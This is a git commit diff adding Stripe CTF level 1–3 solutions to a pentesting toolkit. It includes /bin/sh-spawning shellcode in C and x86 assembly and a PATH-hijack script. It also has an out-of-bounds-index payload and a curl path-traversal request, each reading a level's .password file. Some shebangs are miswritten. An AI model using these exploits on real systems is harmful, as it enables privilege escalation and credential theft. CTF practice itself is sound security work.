mirror of
https://github.com/autistic-symposium/sec-pentesting-toolkit.git
synced 2025-05-19 07:00:25 -04:00
ctf 1
This commit is contained in:
parent
70265a5a44
commit
f2946f1abe
7 changed files with 42 additions and 0 deletions
2
CTFs_and_WarGames/STRIPE_1-2-3/1/shellcode/Makefile
Normal file
2
CTFs_and_WarGames/STRIPE_1-2-3/1/shellcode/Makefile
Normal file
|
@ -0,0 +1,2 @@
|
||||||
|
shell: simplest_shellcode.c
|
||||||
|
gcc -static -g -o shell simplest_shellcode.c
|
|
@ -0,0 +1,5 @@
|
||||||
|
as --32 -o s.o s.s
|
||||||
|
ld -m elf_i386 -o s s.o
|
||||||
|
./s
|
||||||
|
objdump -d s
|
||||||
|
|
|
@ -0,0 +1,9 @@
|
||||||
|
#include <stdlib.h>
|
||||||
|
int main()
|
||||||
|
{
|
||||||
|
char *array[2];
|
||||||
|
array[0] = "/bin/sh";
|
||||||
|
array[1] = NULL;
|
||||||
|
execve(array[0], array, NULL);
|
||||||
|
exit(0);
|
||||||
|
}
|
|
@ -0,0 +1,16 @@
|
||||||
|
.code32
|
||||||
|
.text
|
||||||
|
.globl _start
|
||||||
|
|
||||||
|
_start:
|
||||||
|
xorl %eax, %eax /* We need to push a null terminated string to the stack */
|
||||||
|
pushl %eax /* So first, push a null */
|
||||||
|
pushl $0x68732f2f /* Push //sh */
|
||||||
|
pushl $0x6e69622f /* push /bin */
|
||||||
|
movl %esp, %ebx /* Store the %esp of /bin/sh into %ebx */
|
||||||
|
pushl %eax /* Since eax is still null, let's use it again */
|
||||||
|
pushl %ebx /* Now we can writ the /bin/sh again for **argv */
|
||||||
|
movl %esp, %ecx /* Write argv into %ecx */
|
||||||
|
xorl %edx, %edx /* NULL out edx */
|
||||||
|
movb $0xb, %al /* Write syscall 11 into %al */
|
||||||
|
int $0x80 /* Interrupt the system */
|
6
CTFs_and_WarGames/STRIPE_1-2-3/1/st_ctf1_1.sh
Normal file
6
CTFs_and_WarGames/STRIPE_1-2-3/1/st_ctf1_1.sh
Normal file
|
@ -0,0 +1,6 @@
|
||||||
|
!#/bin/sh
|
||||||
|
cd /tmp
|
||||||
|
echo '/bin/cat /home/level01/.password > date'
|
||||||
|
chmod +x date
|
||||||
|
export PATH=$PWD
|
||||||
|
/levels/level01/level01
|
2
CTFs_and_WarGames/STRIPE_1-2-3/1/st_ctf1_2.sh
Normal file
2
CTFs_and_WarGames/STRIPE_1-2-3/1/st_ctf1_2.sh
Normal file
|
@ -0,0 +1,2 @@
|
||||||
|
!#/bin/sh
|
||||||
|
$ /levels/level03 -20 "cat /home/level03/.password $(printf '\xac\x84\x04\x08')
|
2
CTFs_and_WarGames/STRIPE_1-2-3/1/st_ctf1_3.sh
Normal file
2
CTFs_and_WarGames/STRIPE_1-2-3/1/st_ctf1_3.sh
Normal file
|
@ -0,0 +1,2 @@
|
||||||
|
#!/bin/sh
|
||||||
|
$ curl --user level01:$(cat /home/level01/.password) --digest -b "user_details=../../home/level02/.password" localhost:8002/level02.php
|
Loading…
Add table
Add a link
Reference in a new issue